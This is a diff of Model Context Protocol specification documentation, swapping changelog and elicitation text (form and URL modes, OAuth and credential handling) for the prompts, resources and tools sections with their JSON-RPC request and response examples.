Key Changes -Source: https://modelcontextprotocol.io/specification/2025-11-25/changelog +Servers that support prompts **MUST** declare the `prompts` capability during +[initialization](/specification/2025-11-25/basic/lifecycle#initialization): +```json theme={null} +{ + "capabilities": { + "prompts": { + "listChanged": true + } + } +} +``` +`listChanged` indicates whether the server will emit notifications when the list of +available prompts changes. -
+## Protocol Messages -This document lists changes made to the Model Context Protocol (MCP) specification since -the previous revision, [2025-06-18](/specification/2025-06-18). +### Listing Prompts -## Major changes +To retrieve available prompts, clients send a `prompts/list` request. This operation +supports [pagination](/specification/2025-11-25/server/utilities/pagination). -1. Enhance authorization server discovery with support for [OpenID Connect Discovery 1.0](https://openid.net/specs/openid-connect-discovery-1_0.html). (PR [#797](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/797)) -2. Allow servers to expose icons as additional metadata for tools, resources, resource templates, and prompts ([SEP-973](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/973)). -3. Enhance authorization flows with incremental scope consent via `WWW-Authenticate` ([SEP-835](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/835)) -4. Provide guidance on tool names ([SEP-986](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1603)) -5. Update `ElicitResult` and `EnumSchema` to use a more standards-based approach and support titled, untitled, single-select, and multi-select enums ([SEP-1330](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1330)). -6. Added support for [URL mode elicitation](/specification/2025-11-25/client/elicitation#url-elicitation-requests) ([SEP-1036](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/887)) -7. Add tool calling support to sampling via `tools` and `toolChoice` parameters ([SEP-1577](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1577)) -8. Add support for OAuth Client ID Metadata Documents as a recommended client registration mechanism ([SEP-991](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/991), PR [#1296](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1296)) -9. Add experimental support for [tasks](/specification/2025-11-25/basic/utilities/tasks) to enable tracking durable requests with polling and deferred result retrieval ([SEP-1686](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1686)). +**Request:** -## Minor changes +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "method": "prompts/list", + "params": { + "cursor": "optional-cursor-value" + } +} +``` -1. Clarify that servers using stdio transport may use stderr for all types of logging, not just error messages (PR [#670](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/670)). -2. Add optional `description` field to `Implementation` interface to align with MCP registry server.json format and provide human-readable context during initialization. -3. Clarify that servers must respond with HTTP 403 Forbidden for invalid Origin headers in Streamable HTTP transport. (PR [#1439](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1439)) -4. Updated the [Security Best Practices guidance](https://modelcontextprotocol.io/specification/draft/basic/security_best_practices). -5. Clarify that input validation errors should be returned as Tool Execution Errors rather than Protocol Errors to enable model self-correction ([SEP-1303](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1303)). -6. Support polling SSE streams by allowing servers to disconnect at will ([SEP-1699](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1699)). -7. Clarify SEP-1699: GET streams support polling, resumption always via GET regardless of stream origin, event IDs should encode stream identity, disconnection includes server-initiated closure (Issue [#1847](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1847)). -8. Align OAuth 2.0 Protected Resource Metadata discovery with RFC 9728, making `WWW-Authenticate` header optional with fallback to `.well-known` endpoint ([SEP-985](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/985)). -9. Add support for default values in all primitive types (string, number, enum) for elicitation schemas ([SEP-1034](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1034)). -10. Establish JSON Schema 2020-12 as the default dialect for MCP schema definitions ([SEP-1613](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1613)). +**Response:** -## Other schema changes +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "prompts": [ + { + "name": "code_review", + "title": "Request Code Review", + "description": "Asks the LLM to analyze code quality and suggest improvements", + "arguments": [ + { + "name": "code", + "description": "The code to review", + "required": true + } + ], + "icons": [ + { + "src": "https://example.com/review-icon.svg", + "mimeType": "image/svg+xml", + "sizes": ["any"] + } + ] + } + ], + "nextCursor": "next-page-cursor" + } +} +``` -1. Decouple request payloads from RPC method definitions into standalone parameter schemas. ([SEP-1319](https://github.com/modelcontextprotocol/specification/issues/1319), PR [#1284](https://github.com/modelcontextprotocol/specification/pull/1284)) +### Getting a Prompt -## Governance and process updates +To retrieve a specific prompt, clients send a `prompts/get` request. Arguments may be +auto-completed through [the completion API](/specification/2025-11-25/server/utilities/completion). -1. Formalize Model Context Protocol governance structure ([SEP-932](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/932)). -2. Establish shared communication practices and guidelines for the MCP community ([SEP-994](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/994)). -3. Formalize Working Groups and Interest Groups in MCP governance ([SEP-1302](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1302)). -4. Establish SDK tiering system with clear requirements for feature support and maintenance commitments ([SEP-1730](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1730)). +**Request:** -## Full changelog +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 2, + "method": "prompts/get", + "params": { + "name": "code_review", + "arguments": { + "code": "def hello():\n print('world')" + } + } +} +``` -For a complete list of all changes that have been made since the last protocol revision, -[see GitHub](https://github.com/modelcontextprotocol/specification/compare/2025-06-18...2025-11-25). +**Response:** +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 2, + "result": { + "description": "Code review prompt", + "messages": [ + { + "role": "user", + "content": { + "type": "text", + "text": "Please review this Python code:\ndef hello():\n print('world')" + } + } + ] + } +} +``` -# Elicitation -Source: https://modelcontextprotocol.io/specification/2025-11-25/client/elicitation +### List Changed Notification +When the list of available prompts changes, servers that declared the `listChanged` +capability **SHOULD** send a notification: +```json theme={null} +{ + "jsonrpc": "2.0", + "method": "notifications/prompts/list_changed" +} +``` -
+## Message Flow -**Protocol Revision**: 2025-11-25 +```mermaid theme={null} +sequenceDiagram + participant Client + participant Server -The Model Context Protocol (MCP) provides a standardized way for servers to request additional -information from users through the client during interactions. This flow allows clients to -maintain control over user interactions and data sharing while enabling servers to gather -necessary information dynamically. + Note over Client,Server: Discovery + Client->>Server: prompts/list + Server-->>Client: List of prompts -Elicitation supports two modes: + Note over Client,Server: Usage + Client->>Server: prompts/get + Server-->>Client: Prompt content -* **Form mode**: Servers can request structured data from users with optional JSON schemas to validate responses -* **URL mode**: Servers can direct users to external URLs for sensitive interactions that must *not* pass through the MCP client + opt listChanged + Note over Client,Server: Changes + Server--)Client: prompts/list_changed + Client->>Server: prompts/list + Server-->>Client: Updated prompts + end +``` -## User Interaction Model +## Data Types -Elicitation in MCP allows servers to implement interactive workflows by enabling user input -requests to occur *nested* inside other MCP server features. +### Prompt -Implementations are free to expose elicitation through any interface pattern that suits -their needs—the protocol itself does not mandate any specific user interaction -model. +A prompt definition includes: - - For trust & safety and security: +* `name`: Unique identifier for the prompt +* `title`: Optional human-readable name of the prompt for display purposes. +* `description`: Optional human-readable description +* `icons`: Optional array of icons for display in user interfaces +* `arguments`: Optional list of arguments for customization - * Servers **MUST NOT** use form mode elicitation to request sensitive information - * Servers **MUST** use URL mode for interactions involving sensitive information, such as credentials +### PromptMessage - MCP clients **MUST**: +Messages in a prompt can contain: - * Provide UI that makes it clear which server is requesting information - * Respect user privacy and provide clear decline and cancel options - * For form mode, allow users to review and modify their responses before sending - * For URL mode, clearly display the target domain/host and gather user consent before navigation to the target URL - +* `role`: Either "user" or "assistant" to indicate the speaker +* `content`: One of the following content types: -## Capabilities + + All content types in prompt messages support optional + [annotations](./resources#annotations) for metadata about audience, priority, + and modification times. + -Clients that support elicitation **MUST** declare the `elicitation` capability during -[initialization](../basic/lifecycle#initialization): +#### Text Content + +Text content represents plain text messages: ```json theme={null} { - "capabilities": { - "elicitation": { - "form": {}, - "url": {} - } - } + "type": "text", + "text": "The text content of the message" } ``` -For backwards compatibility, an empty capabilities object is equivalent to declaring support for `form` mode only: +This is the most common content type used for natural language interactions. -```jsonc theme={null} +#### Image Content + +Image content allows including visual information in messages: + +```json theme={null} { - "capabilities": { - "elicitation": {}, // Equivalent to { "form": {} } - }, + "type": "image", + "data": "base64-encoded-image-data", + "mimeType": "image/png" } ``` -Clients declaring the `elicitation` capability **MUST** support at least one mode (`form` or `url`). - -Servers **MUST NOT** send elicitation requests with modes that are not supported by the client. - -## Protocol Messages - -### Elicitation Requests - -To request information from a user, servers send an `elicitation/create` request. +The image data **MUST** be base64-encoded and include a valid MIME type. This enables +multi-modal interactions where visual context is important. -All elicitation requests **MUST** include the following parameters: +#### Audio Content -| Name | Type | Options | Description | -| --------- | ------ | ------------- | -------------------------------------------------------------------------------------- | -| `mode` | string | `form`, `url` | The mode of the elicitation. Optional for form mode (defaults to `"form"` if omitted). | -| `message` | string | | A human-readable message explaining why the interaction is needed. | +Audio content allows including audio information in messages: -The `mode` parameter specifies the type of elicitation: +```json theme={null} +{ + "type": "audio", + "data": "base64-encoded-audio-data", + "mimeType": "audio/wav" +} +``` -* `"form"`: In-band structured data collection with optional schema validation. Data is exposed to the client. -* `"url"`: Out-of-band interaction via URL navigation. Data (other than the URL itself) is **not** exposed to the client. +The audio data MUST be base64-encoded and include a valid MIME type. This enables +multi-modal interactions where audio context is important. -For backwards compatibility, servers **MAY** omit the `mode` field for form mode elicitation requests. Clients **MUST** treat requests without a `mode` field as form mode. +#### Embedded Resources -### Form Mode Elicitation Requests +Embedded resources allow referencing server-side resources directly in messages: -Form mode elicitation allows servers to collect structured data directly through the MCP client. +```json theme={null} +{ + "type": "resource", + "resource": { + "uri": "resource://example", + "mimeType": "text/plain", + "text": "Resource content" + } +} +``` -Form mode elicitation requests **MUST** either specify `mode: "form"` or omit the `mode` field, and include these additional parameters: +Resources can contain either text or binary (blob) data and **MUST** include: -| Name | Type | Description | -| ----------------- | ------ | -------------------------------------------------------------- | -| `requestedSchema` | object | A JSON Schema defining the structure of the expected response. | +* A valid resource URI +* The appropriate MIME type +* Either text content or base64-encoded blob data -#### Requested Schema +Embedded resources enable prompts to seamlessly incorporate server-managed content like +documentation, code samples, or other reference materials directly into the conversation +flow. -The `requestedSchema` parameter allows servers to define the structure of the expected -response using a restricted subset of JSON Schema. +## Error Handling -To simplify client user experience, form mode elicitation schemas are limited to flat objects -with primitive properties only. +Servers **SHOULD** return standard JSON-RPC errors for common failure cases: -The schema is restricted to these primitive types: +* Invalid prompt name: `-32602` (Invalid params) +* Missing required arguments: `-32602` (Invalid params) +* Internal errors: `-32603` (Internal error) -1. **String Schema** +## Implementation Considerations - ```json theme={null} - { - "type": "string", - "title": "Display Name", - "description": "Description text", - "minLength": 3, - "maxLength": 50, - "pattern": "^[A-Za-z]+$", - "format": "email", - "default": "user@example.com" - } - ``` +1. Servers **SHOULD** validate prompt arguments before processing +2. Clients **SHOULD** handle pagination for large prompt lists +3. Both parties **SHOULD** respect capability negotiation - Supported formats: `email`, `uri`, `date`, `date-time` +## Security -2. **Number Schema** +Implementations **MUST** carefully validate all prompt inputs and outputs to prevent +injection attacks or unauthorized access to resources. - ```json theme={null} - { - "type": "number", // or "integer" - "title": "Display Name", - "description": "Description text", - "minimum": 0, - "maximum": 100, - "default": 50 - } - ``` -3. **Boolean Schema** +# Resources +Source: https://modelcontextprotocol.io/specification/2025-11-25/server/resources - ```json theme={null} - { - "type": "boolean", - "title": "Display Name", - "description": "Description text", - "default": false - } - ``` -4. **Enum Schema** - Single-select enum (without titles): +
- ```json theme={null} - { - "type": "string", - "title": "Color Selection", - "description": "Choose your favorite color", - "enum": ["Red", "Green", "Blue"], - "default": "Red" - } - ``` +The Model Context Protocol (MCP) provides a standardized way for servers to expose +resources to clients. Resources allow servers to share data that provides context to +language models, such as files, database schemas, or application-specific information. +Each resource is uniquely identified by a +[URI](https://datatracker.ietf.org/doc/html/rfc3986). - Single-select enum (with titles): +## User Interaction Model - ```json theme={null} - { - "type": "string", - "title": "Color Selection", - "description": "Choose your favorite color", - "oneOf": [ - { "const": "#FF0000", "title": "Red" }, - { "const": "#00FF00", "title": "Green" }, - { "const": "#0000FF", "title": "Blue" } - ], - "default": "#FF0000" - } - ``` +Resources in MCP are designed to be **application-driven**, with host applications +determining how to incorporate context based on their needs. - Multi-select enum (without titles): +For example, applications could: - ```json theme={null} - { - "type": "array", - "title": "Color Selection", - "description": "Choose your favorite colors", - "minItems": 1, - "maxItems": 2, - "items": { - "type": "string", - "enum": ["Red", "Green", "Blue"] - }, - "default": ["Red", "Green"] - } - ``` +* Expose resources through UI elements for explicit selection, in a tree or list view +* Allow the user to search through and filter available resources +* Implement automatic context inclusion, based on heuristics or the AI model's selection - Multi-select enum (with titles): +Example of resource context picker - ```json theme={null} - { - "type": "array", - "title": "Color Selection", - "description": "Choose your favorite colors", - "minItems": 1, - "maxItems": 2, - "items": { - "anyOf": [ - { "const": "#FF0000", "title": "Red" }, - { "const": "#00FF00", "title": "Green" }, - { "const": "#0000FF", "title": "Blue" } - ] - }, - "default": ["#FF0000", "#00FF00"] - } - ``` +However, implementations are free to expose resources through any interface pattern that +suits their needs—the protocol itself does not mandate any specific user +interaction model. -Clients can use this schema to: +## Capabilities -1. Generate appropriate input forms -2. Validate user input before sending -3. Provide better guidance to users +Servers that support resources **MUST** declare the `resources` capability: -All primitive types support optional default values to provide sensible starting points. Clients that support defaults SHOULD pre-populate form fields with these values. +```json theme={null} +{ + "capabilities": { + "resources": { + "subscribe": true, + "listChanged": true + } + } +} +``` -Note that complex nested structures, arrays of objects (beyond enums), and other advanced JSON Schema features are intentionally not supported to simplify client user experience. +The capability supports two optional features: -#### Example: Simple Text Request +* `subscribe`: whether the client can subscribe to be notified of changes to individual + resources. +* `listChanged`: whether the server will emit notifications when the list of available + resources changes. -**Request:** +Both `subscribe` and `listChanged` are optional—servers can support neither, +either, or both: ```json theme={null} { - "jsonrpc": "2.0", - "id": 1, - "method": "elicitation/create", - "params": { - "mode": "form", - "message": "Please provide your GitHub username", - "requestedSchema": { - "type": "object", - "properties": { - "name": { - "type": "string" - } - }, - "required": ["name"] - } + "capabilities": { + "resources": {} // Neither feature supported } } ``` -**Response:** +```json theme={null} +{ + "capabilities": { + "resources": { + "subscribe": true // Only subscriptions supported + } + } +} +``` ```json theme={null} { - "jsonrpc": "2.0", - "id": 1, - "result": { - "action": "accept", - "content": { - "name": "octocat" + "capabilities": { + "resources": { + "listChanged": true // Only list change notifications supported } } } ``` -#### Example: Structured Data Request +## Protocol Messages + +### Listing Resources + +To discover available resources, clients send a `resources/list` request. This operation +supports [pagination](/specification/2025-11-25/server/utilities/pagination). **Request:** ```json theme={null} { "jsonrpc": "2.0", - "id": 2, - "method": "elicitation/create", + "id": 1, + "method": "resources/list", "params": { - "mode": "form", - "message": "Please provide your contact information", - "requestedSchema": { - "type": "object", - "properties": { - "name": { - "type": "string", - "description": "Your full name" - }, - "email": { - "type": "string", - "format": "email", - "description": "Your email address" - }, - "age": { - "type": "number", - "minimum": 18, - "description": "Your age" - } - }, - "required": ["name", "email"] - } + "cursor": "optional-cursor-value" } } ``` @@ -11125,62 +18149,42 @@ Note that complex nested structures, arrays of objects (beyond enums), and other ```json theme={null} { "jsonrpc": "2.0", - "id": 2, + "id": 1, "result": { - "action": "accept", - "content": { - "name": "Monalisa Octocat", - "email": "octocat@github.com", - "age": 30 - } + "resources": [ + { + "uri": "file:///project/src/main.rs", + "name": "main.rs", + "title": "Rust Software Application Main File", + "description": "Primary application entry point", + "mimeType": "text/x-rust", + "icons": [ + { + "src": "https://example.com/rust-file-icon.png", + "mimeType": "image/png", + "sizes": ["48x48"] + } + ] + } + ], + "nextCursor": "next-page-cursor" } } ``` -### URL Mode Elicitation Requests - - - **New feature:** URL mode elicitation is introduced in the `2025-11-25` version of the MCP specification. Its design and implementation may change in future protocol revisions. - - -URL mode elicitation enables servers to direct users to external URLs for out-of-band interactions that must not pass through the MCP client. This is essential for auth flows, payment processing, and other sensitive or secure operations. - -URL mode elicitation requests **MUST** specify `mode: "url"`, a `message`, and include these additional parameters: - -| Name | Type | Description | -| --------------- | ------ | ----------------------------------------- | -| `url` | string | The URL that the user should navigate to. | -| `elicitationId` | string | A unique identifier for the elicitation. | - -The `url` parameter **MUST** contain a valid URL. - - - **Important**: URL mode elicitation is *not* for authorizing the MCP client's - access to the MCP server (that's handled by [MCP - authorization](../basic/authorization)). Instead, it's used when the MCP - server needs to obtain sensitive information or third-party authorization on - behalf of the user. The MCP client's bearer token remains unchanged. The - client's only responsibility is to provide the user with context about the - elicitation URL the server wants them to open. - - -#### Example: Request Sensitive Data +### Reading Resources -This example shows a URL mode elicitation request directing the user to a secure URL where they can provide sensitive information (an API key, for example). -The same request could direct the user into an OAuth authorization flow, or a payment flow. The only difference is the URL and the message. +To retrieve resource contents, clients send a `resources/read` request: **Request:** ```json theme={null} { "jsonrpc": "2.0", - "id": 3, - "method": "elicitation/create", + "id": 2, + "method": "resources/read", "params": { - "mode": "url", - "elicitationId": "550e8400-e29b-41d4-a716-446655440000", - "url": "https://mcp.example.com/ui/set_api_key", - "message": "Please provide your API key to continue." + "uri": "file:///project/src/main.rs" } } ``` @@ -11190,692 +18194,866 @@ The same request could direct the user into an OAuth authorization flow, or a pa ```json theme={null} { "jsonrpc": "2.0", - "id": 3, + "id": 2, "result": { - "action": "accept" + "contents": [ + { + "uri": "file:///project/src/main.rs", + "mimeType": "text/x-rust", + "text": "fn main() {\n println!(\"Hello world!\");\n}" + } + ] } } ``` -The response with `action: "accept"` indicates that the user has consented to the -interaction. It does not mean that the interaction is complete. The interaction occurs out -of band and the client is not aware of the outcome until and unless the server sends a notification indicating completion. +### Resource Templates -### Completion Notifications for URL Mode Elicitation +Resource templates allow servers to expose parameterized resources using +[URI templates](https://datatracker.ietf.org/doc/html/rfc6570). Arguments may be +auto-completed through [the completion API](/specification/2025-11-25/server/utilities/completion). -Servers **MAY** send a `notifications/elicitation/complete` notification when an -out-of-band interaction started by URL mode elicitation is completed. This allows clients to react programmatically if appropriate. +**Request:** -Servers sending notifications: +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 3, + "method": "resources/templates/list" +} +``` -* **MUST** only send the notification to the client that initiated the elicitation request. -* **MUST** include the `elicitationId` established in the original `elicitation/create` request. +**Response:** -Clients: +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 3, + "result": { + "resourceTemplates": [ + { + "uriTemplate": "file:///{path}", + "name": "Project Files", + "title": "📁 Project Files", + "description": "Access files in the project directory", + "mimeType": "application/octet-stream", + "icons": [ + { + "src": "https://example.com/folder-icon.png", + "mimeType": "image/png", + "sizes": ["48x48"] + } + ] + } + ] + } +} +``` -* **MUST** ignore notifications referencing unknown or already-completed IDs. -* **MAY** wait for this notification to automatically retry requests that received a [URLElicitationRequiredError](#error-handling), update the user interface, or otherwise continue an interaction. -* **SHOULD** still provide manual controls that let the user retry or cancel the original request (or otherwise resume interacting with the client) if the notification never arrives. +### List Changed Notification -#### Example +When the list of available resources changes, servers that declared the `listChanged` +capability **SHOULD** send a notification: ```json theme={null} { "jsonrpc": "2.0", - "method": "notifications/elicitation/complete", - "params": { - "elicitationId": "550e8400-e29b-41d4-a716-446655440000" - } + "method": "notifications/resources/list_changed" } ``` -### URL Elicitation Required Error +### Subscriptions -When a request cannot be processed until an elicitation is completed, the server **MAY** return a [`URLElicitationRequiredError`](#error-handling) (code `-32042`) to indicate to the client that a URL mode elicitation is required. The server **MUST NOT** return this error except when URL mode elicitation is required. +The protocol supports optional subscriptions to resource changes. Clients can subscribe +to specific resources and receive notifications when they change: -The error **MUST** include a list of elicitations that are required to complete before the original can be retried. +**Subscribe Request:** -Any elicitations returned in the error **MUST** be URL mode elicitations and have an `elicitationId` property. +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 4, + "method": "resources/subscribe", + "params": { + "uri": "file:///project/src/main.rs" + } +} +``` -**Error Response:** +**Update Notification:** ```json theme={null} { "jsonrpc": "2.0", - "id": 2, - "error": { - "code": -32042, // URL_ELICITATION_REQUIRED - "message": "This request requires more information.", - "data": { - "elicitations": [ - { - "mode": "url", - "elicitationId": "550e8400-e29b-41d4-a716-446655440000", - "url": "https://mcp.example.com/connect?elicitationId=550e8400-e29b-41d4-a716-446655440000", - "message": "Authorization is required to access your Example Co files." - } - ] - } + "method": "notifications/resources/updated", + "params": { + "uri": "file:///project/src/main.rs" } } ``` ## Message Flow -### Form Mode Flow - ```mermaid theme={null} sequenceDiagram - participant User participant Client participant Server - Note over Server: Server initiates elicitation - Server->>Client: elicitation/create (mode: form) + Note over Client,Server: Resource Discovery + Client->>Server: resources/list + Server-->>Client: List of resources - Note over User,Client: Present elicitation UI - User-->>Client: Provide requested information + Note over Client,Server: Resource Template Discovery + Client->>Server: resources/templates/list + Server-->>Client: List of resource templates - Note over Server,Client: Complete request - Client->>Server: Return user response + Note over Client,Server: Resource Access + Client->>Server: resources/read + Server-->>Client: Resource contents - Note over Server: Continue processing with new information + Note over Client,Server: Subscriptions + Client->>Server: resources/subscribe + Server-->>Client: Subscription confirmed + + Note over Client,Server: Updates + Server--)Client: notifications/resources/updated + Client->>Server: resources/read + Server-->>Client: Updated contents ``` -### URL Mode Flow +## Data Types -```mermaid theme={null} -sequenceDiagram - participant UserAgent as User Agent (Browser) - participant User - participant Client - participant Server +### Resource - Note over Server: Server initiates elicitation - Server->>Client: elicitation/create (mode: url) +A resource definition includes: - Client->>User: Present consent to open URL - User-->>Client: Provide consent +* `uri`: Unique identifier for the resource +* `name`: The name of the resource. +* `title`: Optional human-readable name of the resource for display purposes. +* `description`: Optional description +* `icons`: Optional array of icons for display in user interfaces +* `mimeType`: Optional MIME type +* `size`: Optional size in bytes - Client->>UserAgent: Open URL - Client->>Server: Accept response +### Resource Contents - Note over User,UserAgent: User interaction - UserAgent-->>Server: Interaction complete - Server-->>Client: notifications/elicitation/complete (optional) +Resources can contain either text or binary data: - Note over Server: Continue processing with new information +#### Text Content + +```json theme={null} +{ + "uri": "file:///example.txt", + "mimeType": "text/plain", + "text": "Resource content" +} ``` -### URL Mode With Elicitation Required Error Flow +#### Binary Content -```mermaid theme={null} -sequenceDiagram - participant UserAgent as User Agent (Browser) - participant User - participant Client - participant Server +```json theme={null} +{ + "uri": "file:///example.png", + "mimeType": "image/png", + "blob": "base64-encoded-data" +} +``` - Client->>Server: tools/call +### Annotations - Note over Server: Server needs authorization - Server->>Client: URLElicitationRequiredError - Note over Client: Client notes the original request can be retried after elicitation +Resources, resource templates and content blocks support optional annotations that provide hints to clients about how to use or display the resource: - Client->>User: Present consent to open URL - User-->>Client: Provide consent +* **`audience`**: An array indicating the intended audience(s) for this resource. Valid values are `"user"` and `"assistant"`. For example, `["user", "assistant"]` indicates content useful for both. +* **`priority`**: A number from 0.0 to 1.0 indicating the importance of this resource. A value of 1 means "most important" (effectively required), while 0 means "least important" (entirely optional). +* **`lastModified`**: An ISO 8601 formatted timestamp indicating when the resource was last modified (e.g., `"2025-01-12T15:00:58Z"`). + +Example resource with annotations: + +```json theme={null} +{ + "uri": "file:///project/README.md", + "name": "README.md", + "title": "Project Documentation", + "mimeType": "text/markdown", + "annotations": { + "audience": ["user"], + "priority": 0.8, + "lastModified": "2025-01-12T15:00:58Z" + } +} +``` + +Clients can use these annotations to: + +* Filter resources based on their intended audience +* Prioritize which resources to include in context +* Display modification times or sort by recency + +## Common URI Schemes + +The protocol defines several standard URI schemes. This list not +exhaustive—implementations are always free to use additional, custom URI schemes. + +### https\:// + +Used to represent a resource available on the web. + +Servers **SHOULD** use this scheme only when the client is able to fetch and load the +resource directly from the web on its own—that is, it doesn’t need to read the resource +via the MCP server. + +For other use cases, servers **SHOULD** prefer to use another URI scheme, or define a +custom one, even if the server will itself be downloading resource contents over the +internet. + +### file:// + +Used to identify resources that behave like a filesystem. However, the resources do not +need to map to an actual physical filesystem. + +MCP servers **MAY** identify file:// resources with an +[XDG MIME type](https://specifications.freedesktop.org/shared-mime-info-spec/0.14/ar01s02.html#id-1.3.14), +like `inode/directory`, to represent non-regular files (such as directories) that don’t +otherwise have a standard MIME type. + +### git:// - Client->>UserAgent: Open URL +Git version control integration. - Note over User,UserAgent: User interaction +### Custom URI Schemes - UserAgent-->>Server: Interaction complete - Server-->>Client: notifications/elicitation/complete (optional) +Custom URI schemes **MUST** be in accordance with [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986), +taking the above guidance in to account. - Client->>Server: Retry tools/call (optional) -``` +## Error Handling -## Response Actions +Servers **SHOULD** return standard JSON-RPC errors for common failure cases: -Elicitation responses use a three-action model to clearly distinguish between different user actions. These actions apply to both form and URL elicitation modes. +* Resource not found: `-32002` +* Internal errors: `-32603` + +Example error: ```json theme={null} { "jsonrpc": "2.0", - "id": 1, - "result": { - "action": "accept", // or "decline" or "cancel" - "content": { - "propertyName": "value", - "anotherProperty": 42 + "id": 5, + "error": { + "code": -32002, + "message": "Resource not found", + "data": { + "uri": "file:///nonexistent.txt" } } } ``` -The three response actions are: - -1. **Accept** (`action: "accept"`): User explicitly approved and submitted with data - * For form mode: The `content` field contains the submitted data matching the requested schema - * For URL mode: The `content` field is omitted - * Example: User clicked "Submit", "OK", "Confirm", etc. - -2. **Decline** (`action: "decline"`): User explicitly declined the request - * The `content` field is typically omitted - * Example: User clicked "Reject", "Decline", "No", etc. - -3. **Cancel** (`action: "cancel"`): User dismissed without making an explicit choice - * The `content` field is typically omitted - * Example: User closed the dialog, clicked outside, pressed Escape, browser failed to load, etc. - -Servers should handle each state appropriately: - -* **Accept**: Process the submitted data -* **Decline**: Handle explicit decline (e.g., offer alternatives) -* **Cancel**: Handle dismissal (e.g., prompt again later) +## Security Considerations -## Implementation Considerations +1. Servers **MUST** validate all resource URIs +2. Access controls **SHOULD** be implemented for sensitive resources +3. Binary data **MUST** be properly encoded +4. Resource permissions **SHOULD** be checked before operations -### Statefulness -Most practical uses of elicitation require that the server maintain state about users: +# Tools +Source: https://modelcontextprotocol.io/specification/2025-11-25/server/tools -* Whether required information has been collected (e.g., the user's display name via form mode elicitation) -* Status of resource access (e.g., API keys or a payment flow via URL mode elicitation) -Servers implementing elicitation **MUST** securely associate this state with individual users following the guidelines in the [security best practices](../basic/security_best_practices) document. Specifically: -* State **MUST NOT** be associated with session IDs alone -* State storage **MUST** be protected against unauthorized access -* For remote MCP servers, user identification **MUST** be derived from credentials acquired via [MCP authorization](../basic/authorization) when possible (e.g. `sub` claim) +
- - The examples in this section are non-normative and illustrate potential uses - of elicitation. Implementers should adapt these patterns to their specific - requirements while maintaining security best practices. - +The Model Context Protocol (MCP) allows servers to expose tools that can be invoked by +language models. Tools enable models to interact with external systems, such as querying +databases, calling APIs, or performing computations. Each tool is uniquely identified by +a name and includes metadata describing its schema. -### URL Mode Elicitation for Sensitive Data +## User Interaction Model -For servers that interact with external APIs requiring sensitive information (e.g., credentials, payment information), URL mode elicitation provides a secure mechanism for users to provide this information without exposing it to the MCP client. +Tools in MCP are designed to be **model-controlled**, meaning that the language model can +discover and invoke tools automatically based on its contextual understanding and the +user's prompts. -In this pattern: +However, implementations are free to expose tools through any interface pattern that +suits their needs—the protocol itself does not mandate any specific user +interaction model. -1. The server directs users to a secure web page (served over HTTPS) -2. The page presents a branded form UI on a domain the user trusts -3. Users enter sensitive credentials directly into the secure form -4. The server stores credentials securely, bound to the user's identity -5. Subsequent MCP requests use these stored credentials for API access + + For trust & safety and security, there **SHOULD** always + be a human in the loop with the ability to deny tool invocations. -This approach ensures that sensitive credentials never pass through the LLM context, MCP client or any intermediate MCP servers, reducing the risk of exposure through client-side logging or other attack vectors. + Applications **SHOULD**: -### URL Mode Elicitation for OAuth Flows + * Provide UI that makes clear which tools are being exposed to the AI model + * Insert clear visual indicators when tools are invoked + * Present confirmation prompts to the user for operations, to ensure a human is in the + loop + -URL mode elicitation enables a pattern where MCP servers act as OAuth clients to third-party resource servers. -Authorization with external APIs enabled by URL mode elicitation is separate from [MCP authorization](../basic/authorization). MCP servers **MUST NOT** rely on URL mode elicitation to authorize users for themselves. +## Capabilities -#### Understanding the Distinction +Servers that support tools **MUST** declare the `tools` capability: -* **MCP Authorization**: Required OAuth flow between the MCP client and MCP server (covered in the [authorization specification](../basic/authorization)) -* **External (third-party) Authorization**: Optional authorization between the MCP server and a third-party resource server, initiated via URL mode elicitation +```json theme={null} +{ + "capabilities": { + "tools": { + "listChanged": true + } + } +} +``` -In external authorization, the server acts as both: +`listChanged` indicates whether the server will emit notifications when the list of +available tools changes. -* An OAuth resource server (to the MCP client) -* An OAuth client (to the third-party resource server) +## Protocol Messages -Example scenario: +### Listing Tools -* An MCP client connects to an MCP server -* The MCP server integrates with various different third-party services -* When the MCP client calls a tool that requires access to a third-party service, the MCP server needs credentials for that service +To discover available tools, clients send a `tools/list` request. This operation supports +[pagination](/specification/2025-11-25/server/utilities/pagination). -The critical security requirements are: +**Request:** -1. **The third-party credentials MUST NOT transit through the MCP client**: The client must never see third-party credentials to protect the security boundary -2. **The MCP server MUST NOT use the client's credentials for the third-party service**: That would be [token passthrough](../basic/security_best_practices#token-passthrough), which is forbidden -3. **The user MUST authorize the MCP server directly**: The interaction happens outside the MCP protocol, without involving the MCP client -4. **The MCP server is responsible for tokens**: The MCP server is responsible for storing and managing the third-party tokens obtained through the URL mode elicitation (in other words, the MCP server must be stateful). +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "method": "tools/list", + "params": { + "cursor": "optional-cursor-value" + } +} +``` -Credentials obtained via URL mode elicitation are distinct from the MCP server credentials used by the MCP client. The MCP server **MUST NOT** transmit credentials obtained through URL mode elicitation to the MCP 